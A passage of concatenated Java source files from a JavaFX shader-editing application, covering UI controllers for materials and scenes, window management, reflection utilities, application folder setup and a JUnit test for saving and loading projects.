final Project newProject = projectManager.createNewProject();
if (newProject != null) {
projectManager.setCurrentProject(newProject);
renderService.setScene(newProject.getScene());
loadProject(getProject());
}
}
private void loadProject(Project project) {
final Scene scene = project.getScene();
renderService.setScene(scene);
sceneTreeEditor.loadScene(scene);
materialEditorController.loadProject(project);
}
private void performQuit() {
final Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
final ButtonType save = new ButtonType(I18N.getString("alert.btn.save"), ButtonBar.ButtonData.YES);
final ButtonType discard = new ButtonType(I18N.getString("alert.btn.discard"), ButtonBar.ButtonData.NO);
final ButtonType cancel = new ButtonType(I18N.getString("alert.btn.cancel"), ButtonBar.ButtonData.CANCEL_CLOSE);
alert.getButtonTypes().setAll(save, discard, ButtonType.CANCEL);
alert.setHeaderText(I18N.getString("alert.confirm.changes.header", "UNTITLED"));
alert.setContentText(I18N.getString("alert.confirm.changes.message"));
alert.showAndWait().ifPresent((buttonType) -> {
boolean exitRequested = false;
if (cancel.equals(buttonType)) {
exitRequested = false;
}
if (discard.equals(buttonType)) {
exitRequested = true;
}
if (save.equals(buttonType)) {
exitRequested = true;
// TODO: save unsaved project
}
if (exitRequested) {
stop();
Platform.runLater(() -> {
if (renderService.isRunning()) {
renderService.cancel();
}
Platform.exit();
});
}
});
}
private void initRenderView() {
renderView.setPreserveRatio(true);
renderViewRoot.widthProperty().addListener((observable, oldValue, newValue) -> {
if (newValue.intValue() % 2 != 0) {
newValue = newValue.intValue() + 1;
}
renderView.fitWidthProperty().set(newValue.intValue());
});
renderViewRoot.heightProperty().addListener((observable, oldValue, newValue) -> {
if (newValue.intValue() % 2 != 0) {
newValue = newValue.intValue() + 1;
}
renderView.fitHeightProperty().set(newValue.intValue());
});
}
/***
* Starts the render service.
*/
public void start() {
Log.info("Start ShaderSlothRenderer View");
renderService.start();
// we can only start a project
// when the engine is already running
// and we have to make sure that the
// performNewProject is performed on
// the javafx thread.
Engine.runWhenReady(() -> {
Platform.runLater(() -> {
performNewProject();
});
});
}
/**
* Stops the render service
*/
public void stop() {
Log.info("Stop ShaderSlothRenderer View");
renderService.cancel();
}
/******************************************************************************
*
* Event Handlers
*
******************************************************************************/
private void onMaterialChanged(MaterialEvent event) {
// notify editors that the material list has changed
genericEditorController.refresh();
if (event.getEventType().equals(MaterialEvent.MATERIAL_NAME_CHANGED)) {
updateShaderEditor(event.getAffectedMaterial());
}
event.consume();
}
/******************************************************************************
*
* Controller Getter
*
******************************************************************************/
/**
* @return the editor controller instance
*/
public GenericEditorController getGenericEditorController() {
return genericEditorController;
}
/***
* @return the scene editor controller instance
*/
public SceneTreeEditorController getSceneTreeEditorController() {
return sceneTreeEditor;
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
private ObjectProperty<Scene> slothScene;
/**
* @return the related slothScene property of this controllers.
*/
public ObjectProperty<Scene> sceneProperty() {
return null;
}
/***
* @return the related slothScene of this controllers.
*/
public Scene getSlothScene() {
return sceneProperty().get();
}
/**
*
* @return
* @deprecated
*/
public ObjectProperty<Scene> slothSceneProperty() {
if (slothScene == null) {
slothScene = new SimpleObjectProperty<>(this, "sceneProperty");
}
return slothScene;
}
/**
* Retrieves the current project
*
* @return the current project
*/
public Project getProject() {
return projectManager.getCurrentProject();
}
}
```
MaterialEditorController.java
```package eu.yvka.shadersloth.app.materialEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.ShaderSlothController;
import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderTemplateHelper;
import eu.yvka.shadersloth.app.project.Project;
import eu.yvka.shadersloth.app.sceneEditor.PropertyEditors;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.share.controller.AbstractController;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.material.BasicMaterial;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.shader.Shader;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.ReadOnlyObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
import javafx.scene.control.*;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.KeyCode;
import org.controlsfx.control.PropertySheet;
import org.controlsfx.property.BeanPropertyUtils;
import org.controlsfx.property.editor.DefaultPropertyEditorFactory;
import org.controlsfx.property.editor.PropertyEditor;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.beans.IntrospectionException;
import java.util.Optional;
/***
* Controller for editing and creating materials
*/
public class MaterialEditorController extends AbstractController {
private static final Logger Log = LoggerFactory.getLogger(MaterialEditorController.class);
/***
* List cell for material is responsible to render a material in
* a list view.
*/
private class MaterialCell extends ListCell<Material> {
private ImageView imageView;
private TextField editTextField;
@Override
protected void updateItem(Material item, boolean empty) {
super.updateItem(item, empty);
if (item == null || empty) {
setText(null);
setGraphic(null);
return;
}
if (isEditing()) {
if (editTextField != null) {
editTextField.setText(item.getMaterialName());
setText(null);
setGraphic(editTextField);
}
} else {
if (imageView == null) {
Image image = new Image(App.class.getResource("images/material_icon_32x32.png").toExternalForm());
imageView = new ImageView(image);
imageView.setPreserveRatio(true);
imageView.setFitHeight(16);
}
setText(item.getMaterialName());
setGraphic(imageView);
}
}
@Override
public void startEdit() {
super.startEdit();
if (isEditing()) {
if (editTextField == null) {
editTextField = new TextField(getItem().getMaterialName());
editTextField.setOnAction((event) -> {
String newMame = editTextField.getText();
Material mat = getItem();
String oldName = mat.getMaterialName();
try {
Engine.materialManager().renameMaterial(mat, newMame);
getRoot().fireEvent(new MaterialEvent(MaterialEvent.MATERIAL_NAME_CHANGED, mat));
editTextField.getStyleClass().remove("invalid");
commitEdit(mat);
} catch (NameAlreadyInUseException e) {
editTextField.getStyleClass().remove("invalid");
editTextField.getStyleClass().add("invalid");
}
event.consume();
});
editTextField.setOnKeyReleased((event -> {
if (KeyCode.ESCAPE.equals(event.getCode()) && !editTextField.getStyleClass().contains("invalid")) {
cancelEdit();
event.consume();
}
}));
}
setText(null);
setGraphic(editTextField);
editTextField.requestFocus();
editTextField.selectAll();
}
}
@Override
public void cancelEdit() {
super.cancelEdit();
setText(getItem().getMaterialName());
setGraphic(imageView);
}
}
/******************************************************************************
*
* FXML Fields
*
******************************************************************************/
/**
* Button for add Materials
*/
@FXML private Button addMaterialButton;
/***
* Button for removing materials
*/
@FXML private Button removeMaterialButton;
/***
* View for all available materials
*/
@FXML private ListView<Material> materialList;
/**
* Shows all properties of the current selected material
*/
@FXML private PropertySheet materialProperties;
/******************************************************************************
*
* Fields
*
******************************************************************************/
/**
* The current selected material
*/
Optional<Material> currentMaterial = Optional.empty();
/**
* The next material number which is used for
* generating atomic material ids, if
* no name is provided for this material
*/
private int nextMaterialNumber;
/**
* Shader-Controller Instance
*/
private final ShaderSlothController shaderSlothController;
/**
* The current loaded project
*
*/
private Project project;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public MaterialEditorController(ShaderSlothController controller) {
super(App.class.getResource("view/materialEditor.fxml"));
this.shaderSlothController = controller;
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
@Override
protected void onFxmlLoaded() {
materialList.setCellFactory(listView -> new MaterialCell());
materialList.getSelectionModel().setSelectionMode(SelectionMode.SINGLE);
materialList.getSelectionModel().selectedItemProperty().addListener((observable, oldSelection, newSelection) -> {
if (newSelection != null && newSelection != oldSelection) {
selectedMaterial.set(newSelection);
readMaterialProperties(newSelection);
}
});
addMaterialButton.setOnAction((event) -> {
createNewMaterial();
});
removeMaterialButton.setOnAction((event) -> {
deleteCurrentMaterial();
});
materialProperties.setPropertyEditorFactory(new DefaultPropertyEditorFactory() {
@Override
public PropertyEditor<?> call(PropertySheet.Item item) {
PropertyEditor<?> propertyEditor = null;
propertyEditor = super.call(item);
if (propertyEditor == null) {
Class<?> type = item.getType();
if (type == Color.class) {
propertyEditor = PropertyEditors.createColorEditor(item);
}
}
return propertyEditor;
}
});
}
public void loadProject(Project project) {
this.project = project;
materialList.getItems().setAll(project.getMaterials());
if (! materialList.getItems().isEmpty()) {
materialList.getSelectionModel().selectFirst();
}
}
private void readMaterialProperties(Material material) {
try {
materialProperties.getItems().setAll(buildMaterialPropertiesItems(material));
materialProperties.setDisable(false);
} catch (IntrospectionException | NoSuchMethodException e) {
e.printStackTrace();
}
}
private ObservableList<PropertySheet.Item> buildMaterialPropertiesItems(Material material) throws IntrospectionException, NoSuchMethodException {
ObservableList<PropertySheet.Item> properties = BeanPropertyUtils.getProperties(material.getRenderState(), propertyDescriptor -> {
return propertyDescriptor.getWriteMethod() != null;
});
properties.addAll(BeanPropertyUtils.getProperties(material, (propertyDescriptor) -> {
return (propertyDescriptor.getPropertyType().equals(Number.class)
|| propertyDescriptor.getPropertyType().equals(Color.class)
|| propertyDescriptor.getPropertyType().isPrimitive()) &&
!propertyDescriptor.getPropertyType().equals(Boolean.TYPE);
}));
return properties;
}
private void createNewMaterial() {
assert project != null;
String name = I18N.getString("material.name.template", nextMaterialNumber++);
while (Engine.materialManager().isMaterialNameInUse(name)) {
name = I18N.getString("material.name.template", nextMaterialNumber++);
}
Shader shader = ShaderTemplateHelper.createShader(project.getProjectFolder(), name);
Material material = new BasicMaterial(shader);
material.setMaterialName(name);
try {
Engine.materialManager().registerMaterial(material);
} catch (NameAlreadyInUseException e) {
new Alert(Alert.AlertType.ERROR, e.getMessage(), ButtonType.OK);
}
project.getMaterials().add(material);
materialList.getItems().add(material);
materialList.getSelectionModel().selectLast();
getRoot().fireEvent(new MaterialEvent(MaterialEvent.MATERIAL_CREATED, material));
}
private void deleteCurrentMaterial() {
int currentMaterial = materialList.getSelectionModel().getSelectedIndex();
if (currentMaterial != -1) {
Material material = materialList.getItems().remove(currentMaterial);
project.getMaterials().remove(material);
Engine.materialManager().unregisterMaterial(material);
getRoot().fireEvent(new MaterialEvent(MaterialEvent.MATERIAL_DELETED, material));
}
if (materialList.getItems().isEmpty()) {
selectedMaterial.set(null);
}
}
/******************************************************************************
*
* Properties
*
******************************************************************************/
private ObjectProperty<Material> selectedMaterial;
public ReadOnlyObjectProperty<Material> selectedMaterialProperty() {
if (selectedMaterial == null) {
selectedMaterial = new SimpleObjectProperty<>(this, "selectedMaterialProperty");
}
return selectedMaterial;
}
}
```
AbstractWindowController.java
```package eu.yvka.shadersloth.share.controller;
import eu.yvka.shadersloth.share.I18N.I18N;
import javafx.beans.property.SimpleStringProperty;
import javafx.beans.property.StringProperty;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.SceneAntialiasing;
import javafx.stage.Stage;
import javafx.stage.Window;
import javafx.stage.WindowEvent;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.net.URL;
import java.util.ResourceBundle;
/**
* A controllers which controls a window and defines its content
* by specifying a view/fxml file.
*/
public abstract class AbstractWindowController extends AbstractController {
private static final Logger Log = LoggerFactory.getLogger(AbstractWindowController.class);
/**
* The owner of the window which this controllers
* controls.
*/
private Window owner;
/**
* The Stage of this window.
*/
private Stage stage;
/**
* The scene which is controlled by this controllers.
*/
private Scene scene;
/**
* Defines the title of the window.
*
* @see #titleProperty()
*/
private StringProperty title;
/**
* Creates a {@code WindowController} for a top level window and specifies
* the corresponding view and set the default {@link ResourceBundle}.
*
* Use this constructor for creating a controllers for a top level
* window.
*
* @param location a url to the corresponding fxml/view file.
*/
public AbstractWindowController(URL location) {
this(location, I18N.getResourceBundle(), null);
}
/**
* Creates a {@code WindowController} for a non top level window and specifies
* the corresponding view and set the default {@link ResourceBundle}.
*
* Use this constructor for creating a controllers for a child window
* of the {@code owner} window.
*
* @param location a url to the corresponding fxml/view file.
*
* @param owner the parent window of the controlled window.
*/
public AbstractWindowController(URL location, Window owner) {
this(location, I18N.getResourceBundle(), owner);
}
/**
* Creates a {@code WindowController} for a window and specifies
* the corresponding view, resourceBundle and its owner.
*
* @param location a url to the corresponding fxml/view file.
*
* @param resourceBundle the {@link ResourceBundle} which should be used for internalization.
* This is the place where all translated texts/string are stored
*
* @param owner the parent window of the controlled window.
* If null the controlled window will be a top level window.
*/
protected AbstractWindowController(URL location, ResourceBundle resourceBundle, Window owner) {
super(location, resourceBundle);
this.owner = owner;
}
/**
* Retrieves the scene of the controlled window.
* Enables sub classes to access the scene of the
* controlled window.
*
* @return the scene of the controlled window.
*/
public Scene getScene() {
if (scene == null) {
Parent root = getRoot();
scene = new Scene(root, -1, -1, true, SceneAntialiasing.BALANCED);
onSceneCreated();
}
return scene;
}
/**
* Retrieves the stage of the controlled window.
*
* @return the stage of the controlled window.
*/
public Stage getStage() {
if (stage == null) {
if (owner instanceof Stage) {
stage = (Stage) owner;
} else {
stage = new Stage();
if (owner != null) {
stage.initOwner(owner);
}
}
stage.titleProperty().bind(titleProperty());
stage.setOnCloseRequest(this::onCloseRequest);
stage.setScene(getScene());
stage.sizeToScene();
onStageCreated();
}
return stage;
}
/**
* Show this window in front all other windows.
*/
public void show() {
getStage().show();
getStage().toFront();
}
/**
* Close the controlled window.
*/
public void close() {
getStage().close();
}
/**
* Defines the title of the window.
*
* @defaultValue empty string
* @return the title property.
* @see #getTitle()
* @see #setTitle(String)
*/
public StringProperty titleProperty() {
if (title == null) {
title = new SimpleStringProperty(this, "title", "");
}
return title;
}
/**
* @return the title of the window
*/
public String getTitle() {
return titleProperty().get();
}
/**
* Set the value of the title property.
*
* @param title the title of the window
*
* @see #titleProperty()
*/
public void setTitle(String title) {
titleProperty().set(title);
}
/**
* Will be called when the controlled window is requested to be closed.
* Enables a sub class to respond to window close events.
*
* @param windowEvent the event related to the closing action.
*/
abstract public void onCloseRequest(WindowEvent windowEvent);
/**
* Called when the scene was created.
* A subclass must implement its scene initialization
* in this method.
*/
abstract protected void onSceneCreated();
/**
* Called when the stage was created.
* A subclass must implement its stage initialization
* in this method.
*/
abstract protected void onStageCreated();
}
```
NumberInputBehaviour.java
```package eu.yvka.shadersloth.app.controls.number;
import com.sun.javafx.scene.control.behavior.BehaviorBase;
import com.sun.javafx.scene.control.behavior.TwoLevelFocusBehavior;
import eu.yvka.shadersloth.app.controls.NumberInput;
public class NumberInputBehaviour extends BehaviorBase<NumberInput>{
private TwoLevelFocusBehavior tlFocus;
public NumberInputBehaviour() {
super(null ,TRAVERSAL_BINDINGS);
}
/**
* Create a new BehaviorBase for the given control. The Control must not
* be null.
*
* @param control The control. Must not be null.
*/
public NumberInputBehaviour(NumberInput control) {
super(control, TRAVERSAL_BINDINGS);
if (com.sun.javafx.scene.control.skin.Utils.isTwoLevelFocus()) {
tlFocus = new TwoLevelFocusBehavior(control); // needs to be last.
}
}
@Override public void dispose() {
if (tlFocus != null) tlFocus.dispose();
super.dispose();
}
}
```
App.java
```package eu.yvka.shadersloth.app;
import eu.yvka.shadersloth.share.context.ApplicationContext;
import javafx.application.Application;
import javafx.application.Platform;
import javafx.stage.Stage;
import org.controlsfx.dialog.ExceptionDialog;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.Collections;
public class App extends Application {
private final static Logger Log = LoggerFactory.getLogger(App.class);
private ShaderSlothController controller;
@Override
public void init() throws Exception {
ApplicationContext.get().init(this, () -> Collections.emptyList());
Runtime.getRuntime().addShutdownHook(new Thread(ApplicationContext.get()::destroy));
Thread.setDefaultUncaughtExceptionHandler((t, e) -> {
Log.error("Detect uncaught exception in [" + t.getName() + " Thread]", e);
ExceptionDialog exceptionDialog = new ExceptionDialog(e);
exceptionDialog.showAndWait();
Platform.exit();
});
}
@Override
public void start(final Stage primaryStage) {
controller = new ShaderSlothController(primaryStage);
controller.show();
controller.start();
}
@Override
public void stop() throws Exception {
controller.stop();
ApplicationContext.get().destroy();
}
public static void main(String[] args) {
Log.info("Launching ShaderSlothRenderer");
/**
* Improves the poor rendering results of javafx.
*
* @see <a href="http://comments.gmane.org/gmane.comp.java.openjdk.openjfx.devel/5072">Open JavaFX development Mailing list</a>
*/
System.setProperty("prism.lcdtext", "false");
System.setProperty("prism.text", "t2k");
launch(args);
}
}
```
GenericEditorController.java
```package eu.yvka.shadersloth.app.sceneEditor.genericEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.ShaderSlothController;
import eu.yvka.shadersloth.share.controller.AbstractController;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Node;
import eu.yvka.slothengine.scene.light.Light;
import javafx.scene.layout.StackPane;
public class GenericEditorController extends AbstractController {
private ShaderSlothController slothController;
private GeometryEditorController geometryEditorController;
private LightEditorController lightEditorController;
private AbstractController activeController;
private Node currentNode = null;
public GenericEditorController(ShaderSlothController controller) {
super(App.class.getResource("view/genericEditor.fxml"));
this.slothController = controller;
geometryEditorController = new GeometryEditorController(controller);
lightEditorController = new LightEditorController(controller);
}
@Override
protected void onFxmlLoaded() {}
public void loadNode(Node node) {
assert node != null;
currentNode = node;
StackPane container = (StackPane) getRoot();
if (node instanceof Geometry) {
if (activeController != geometryEditorController) {
container.getChildren().clear();
container.getChildren().add(geometryEditorController.getRoot());
activeController = geometryEditorController;
}
geometryEditorController.updateData((Geometry) node);
}
if (node instanceof Light) {
if (activeController != lightEditorController) {
container.getChildren().clear();
container.getChildren().add(lightEditorController.getRoot());
activeController = lightEditorController;
}
lightEditorController.updateData((Light) node);
}
}
public void refresh() {
if (currentNode != null) {
loadNode(currentNode);
}
}
}
```
ReflectionUtils.java
```package eu.yvka.shadersloth.share.utils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.lang.annotation.Annotation;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.text.MessageFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.function.Predicate;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class ReflectionUtils {
private static final Logger Log = LoggerFactory.getLogger(ReflectionUtils.class);
/**
* Retrieves a field instance by its name from a given class instance.
*
* @param fieldName the name of the desired field.
* @param instance the instance which has the desired field.
* @return the desired field or null if the given instance doesn't provide the desired field.
*/
public static Object getFieldValue(String fieldName, Object instance) {
return getFieldValue(fieldName, instance.getClass(), instance);
}
/**
* Retrieves a field value by its name from a given class instance.
*
* @param fieldName the name of the desired field.
* @param cls the class which owns the desired field.
* @param instance the instance which has the desired field.
* @return the desired field or null if the given instance doesn't provide the desired field.
*/
public static Object getFieldValue(String fieldName, Class<?> cls, Object instance) {
try {
Field field = getFieldByName(fieldName, cls);
return field.get(instance);
} catch (NoSuchFieldException | IllegalAccessException e) {
Log.warn(MessageFormat.format("\"{0}\" is not a accessible field of {1}.", fieldName, cls.getName()),e);
}
return null;
}
private static Field getFieldByName(String fieldName, Class<?> cls) throws NoSuchFieldException {
Field field = cls.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
}
/**
* Retrieves a field value by
*
* @param field the field to obtain the value from
* @param instance the instance which has the desired field.
* @return the value of the desired field
**/
public static Object getFieldValue(Field field, Object instance) {
return AccessController.doPrivileged((PrivilegedAction<Object>) () -> {
boolean naturalAccessStatus = field.isAccessible();
try {
field.setAccessible(true);
return field.get(instance);
} catch (IllegalAccessException e) {
throw new IllegalStateException("Could read value from field " + field, e);
} finally {
field.setAccessible(naturalAccessStatus);
}
});
}
public static void setFieldValue(Field field, Object instance, Object value) {
boolean naturalAccessStatus = field.isAccessible();
AccessController.doPrivileged((PrivilegedAction<Object>) () -> {
try {
field.setAccessible(true);
field.set(instance, value);
} catch (IllegalAccessException e) {
throw new IllegalStateException("Could not set value field " + field, e);
} finally {
field.setAccessible(naturalAccessStatus);
}
return null;
});
}
public static void setFieldValue(String fieldName, Class<?> cls, Object instance, Object value) {
try {
Field field = getFieldByName(fieldName, cls);
setFieldValue(field, instance, value);
} catch (NoSuchFieldException e) {
Log.warn(MessageFormat.format("\"{0}\" is not a accessible field of {1}.", fieldName, cls.getName()),e);
}
}
/***
* Retrieve all Fields including all fields of the super classes as well.
*
* @param cls the class owns the desired fields
* @return a list of all declared fields including all fields of the parent classes.
*/
public static List<Field> getAllFields(Class<?> cls) {
List<Field> fields = new ArrayList<>();
Class <?> type = cls;
while (type != null && !type.equals(Objects.class)) {
fields.addAll(Arrays.asList(type.getDeclaredFields()));
type = type.getSuperclass();
}
return fields;
}
/***
* Retrieve all Methods including all methods of the super classes as well.
*
* @param cls the class owns the desired methods
* @return a list of all declared methods including all methods of the parent classes.
*/
public static List<Method> getAllMethods(Class<?> cls) {
return getAllMethods(cls, (m) -> true);
}
/***
* Retrieve all Methods including all methods of the super classes as well.
*
* @param cls the class owns the desired methods
* @return a list of all declared methods including all methods of the parent classes.
*/
public static List<Method> getAllMethods(Class<?> cls, Predicate<Method> filter) {
List<Method> methods = new ArrayList<>();
Class <?> type = cls;
while (type != null && !type.equals(Objects.class)) {
for (Method method : type.getDeclaredMethods()) {
if (filter.test(method)) {
methods.add(method);
}
}
type = type.getSuperclass();
}
return methods;
}
/***
* Retrieve all Methods including all methods of the super classes as well
* and excludes all methods which doesn't have the specified annotation
* present.
*
* @param cls the class owns the desired methods
* @param annotation only methods with this annotation will be returned
* @return a list of all declared methods including all methods of the parent classes.
*/
public static List<Method> getMethodsWithAnnotation(Class<?> cls, Class<? extends Annotation> annotation) {
return getAllMethods(cls, (m) ->m.isAnnotationPresent(annotation));
}
public static void invokeMethodsWithAnnotation(Class<?> cls, final Object bean, Class<? extends Annotation> annotation) {
for(Method method : getMethodsWithAnnotation(cls, annotation)) {
if (method.isAnnotationPresent(annotation)) {
invokeMethod(bean, method);
}
}
}
/**
* Invoke a method in the context of a bean object.
*
* @param bean the context bean
* @param method the method to invoke
* @param params optional list of
*/
public static Object invokeMethod(Object bean, Method method, Object...params) {
final boolean naturalAccessState = method.isAccessible();
return AccessController.doPrivileged((PrivilegedAction<Object>) () -> {
try {
method.setAccessible(true);
return method.invoke(bean, params);
} catch (InvocationTargetException | IllegalAccessException ex) {
throw new IllegalStateException("Could not invoke method " + method, ex);
} finally {
method.setAccessible(naturalAccessState);
}
});
}
/**
* Invoke a method in the context of a bean object.
*
* @param bean the context bean
* @param methodName the name of the method to invoke
* @param params optional list of
*/
public static Object invokeMethod(Object bean, String methodName, Object...params) throws NoSuchMethodException {
Class<?> type = bean.getClass();
Class<?>[] paramTypes = Stream.of(params).map(Object::getClass).collect(Collectors.toList()).toArray(new Class[0]);
Method method = type.getMethod(methodName);
return invokeMethod(bean, method, params);
}
}
```
DIContext.java
```package eu.yvka.shadersloth.share.context;
/**
* Encapsulates an DI Injector
*/
public interface DIContext {
void injectMembers(Object object);
<T> T getInstance(Class<T> type);
void destroy();
void init();
}
```
LoadMeshTask.java
```package eu.yvka.shadersloth.app.sceneEditor;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.geometry.Mesh;
import eu.yvka.slothengine.geometry.loader.MeshLoaderException;
import javafx.concurrent.Task;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
/**
* @Author Yves Kaufmann
* @since 12.07.2016
*/
public class LoadMeshTask extends Task<Mesh> {
/******************************************************************************
*
* Fields
*
******************************************************************************/
private static final Logger Log = LoggerFactory.getLogger(LoadMeshTask.class);
private File meshToLoad;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
/**
* Creates a tasks for loading a mesh.
*
* @param pathToMesh
*/
public LoadMeshTask(String pathToMesh) {
this(new File(pathToMesh));
}
/***
* Creates a tasks for loading a mesh
* @param meshToLoad
*/
public LoadMeshTask(File meshToLoad) {
this.meshToLoad = meshToLoad;
}
@Override
protected Mesh call() throws Exception {
String path = meshToLoad.getAbsolutePath();
try {
set(Engine.getMesh(path));
Log.info("Loaded mesh from " + path);
} catch (MeshLoaderException ex) {
Log.info("Failed to load mesh from " + path, ex);
setException(ex);
throw ex;
}
return getValue();
};
}
```
AppFolder.java
```package eu.yvka.shadersloth.app;
import eu.yvka.shadersloth.share.utils.OperatingSystem;
import java.io.File;
/**
* Created by fxdapokalypse on 10.06.2016.
*/
public class AppFolder {
private static final String SHADER_SLOTH_APP_DIR = "ShaderSloth";
private static final String PROJECTS_FOLDER = "projects";
private static final String ASSETS_FOLDER = "assets";
private static final String ASSETS_TEXTURE_FOLDER = "textures";
private static final String ASSETS_MODEL_FOLDER = "models";
private static final String ASSETS_SHADER_FOLDER = "shaders";
static {
prepareAppFolder();
}
/******************************************************************************
*
* Fields
*
******************************************************************************/
/***
* The operating system which is running this application
*/
private static File appFolder;
private static File assetsFolder;
private static File textureFolder;
private static File modelFolder;
private static File shaderFolder;
private static File projectsFolder;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
private AppFolder() {}
/******************************************************************************
*
* Public API
*
******************************************************************************/
/**
* Returns applications data folder of the current operating system,
* which is a typical place where applications store there data.
*
* @return The application data folder or the working directory if the
* operating system could not be determined.
*/
public static File getAppDirectory() {
if (appFolder == null) {
File installationDirectory = getInstallationDirectory();
System.out.println(installationDirectory);
appFolder = new File(installationDirectory, SHADER_SLOTH_APP_DIR);
}
return appFolder;
}
public static File getAssetsFolder() {
if (assetsFolder == null) {
assetsFolder = new File(getAppDirectory(), ASSETS_FOLDER);
}
return assetsFolder;
}
public static File getAssetsTextureFolder() {
if (textureFolder == null) {
textureFolder = new File(getAssetsFolder(), ASSETS_TEXTURE_FOLDER);
}
return textureFolder;
}
public static File getAssetsModelFolder() {
if (modelFolder == null) {
modelFolder = new File(getAssetsFolder(), ASSETS_MODEL_FOLDER);
}
return modelFolder;
}
public static File getAssetsShaderFolder() {
if (shaderFolder == null) {
shaderFolder = new File(getAssetsFolder(), ASSETS_SHADER_FOLDER);
}
return shaderFolder;
}
public static File getProjectsFolder() {
if (projectsFolder == null) {
projectsFolder = new File(getAppDirectory(), PROJECTS_FOLDER);
}
return projectsFolder;
}
private static void prepareAppFolder() {
if (! getAppDirectory().isDirectory()) {
getAssetsTextureFolder().mkdirs();
getAssetsModelFolder().mkdirs();
getAssetsShaderFolder().mkdirs();
getProjectsFolder().mkdirs();
}
}
/******************************************************************************
*
* Internal API
*
******************************************************************************/
private static File getInstallationDirectory() {
if (OperatingSystem.isWindows()) {
return new File(System.getenv("APPDATA"));
}
if (OperatingSystem.isOSX()) {
return new File(System.getProperty("user.home"), "/Library/Application Support/");
}
if (OperatingSystem.isUnix()) {
return new File((System.getProperty("user.home")));
}
return new File(System.getProperty("user.dir"));
}
}
```
XMLProjectWriterTest.java
```package eu.yvka.shadersloth.app.project.loader;
import eu.yvka.shadersloth.app.project.Project;
import eu.yvka.shadersloth.app.project.ProjectImpl;
import eu.yvka.shadersloth.app.project.XMLProjectReader;
import eu.yvka.shadersloth.app.project.XMLProjectWriter;
import eu.yvka.slothengine.engine.AppSettings;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.geometry.primitives.Cube;
import eu.yvka.slothengine.material.BasicMaterial;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.scene.Geometry;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.scene.camera.FreeCamera;
import eu.yvka.slothengine.scene.light.PointLight;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import org.joml.Vector3f;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import java.io.File;
import java.util.Random;
import static org.junit.Assert.*;;
/**
* @Author Yves Kaufmann
* @since 15.07.2016
*/
public class XMLProjectWriterTest {
public static File projectFile;
private static Project testProject;
@BeforeClass
public static void setupProject() throws NameAlreadyInUseException {
Engine.start(new AppSettings());
testProject = new ProjectImpl();
Scene scene = testProject.getScene();
float zoomLevel = 1.0f;
Random rnd = new Random();
rnd.setSeed(System.nanoTime());
Geometry room = new Geometry("Room");
room.setPosition(new Vector3f(0.0f, 0.0f, 0.0f));
room.setScale(10.0f);
room.setVisible(true);
room.setMesh(new Cube());
scene.getRootNode().addChild(room);
scene.getCamera().setPosition(0f, 5f, 10f);
((FreeCamera) scene.getCamera()).setTarget(new Vector3f(10.0f, 2.0f, -10.0f));
Geometry g = new Geometry("g");
g.setMesh(new Cube());
g.setPosition(-9.0f, 0.0f, 0.0f);
g.setMaterial(new BasicMaterial());
room.addChild(g);
PointLight point = new PointLight("Light 1");
point.setAttenuation(1.0f);
point.setPosition(new Vector3f(0.0f, 5.0f, -2.0f));
point.setColor(new Color(1.0f, 0.0f, 0.0f, 1.0f));
point.setAttenuation(100.0f);
scene.add(point);
PointLight point2 = new PointLight("Light 2");
point2.setAttenuation(1.0f);
point2.setPosition(new Vector3f(0.0f, 0.0f, 0.0f));
point2.setColor(new Color(1.0f, 1.0f, 1.0f, 1.0f));
point2.setAttenuation(20.0f);
testProject.setName("test");
projectFile = new File(testProject.getProjectFolder(), "project.xml");
}
@AfterClass
public static void shutdown() {
}
@Test
public void saveProject() throws Exception {
XMLProjectWriter writer = new XMLProjectWriter();
writer.saveProject(testProject);
assertTrue(testProject.getProjectFolder().exists());
assertTrue(projectFile.exists());
}
@Test
public void loadProject() throws Exception {
XMLProjectReader reader = new XMLProjectReader();
Project loadedProject = reader.loadProject(projectFile);
assertNotNull(loadedProject);
assertEquals(testProject.getName(), loadedProject.getName());
assertEquals(testProject.getProjectFolder(), loadedProject.getProjectFolder());
}
}
```
ProjectWriter.java
```package eu.yvka.shadersloth.app.project;
import javax.xml.bind.JAXBContext;
import java.io.File;
import java.io.IOException;
/**
* @Author Yves Kaufmann
* @since 15.07.2016
*/
public interface ProjectWriter {
public void saveProject(Project project) throws IOException;
}
```
Validations.java
```package eu.yvka.shadersloth.app.controls.validation;
import javafx.util.converter.NumberStringConverter;
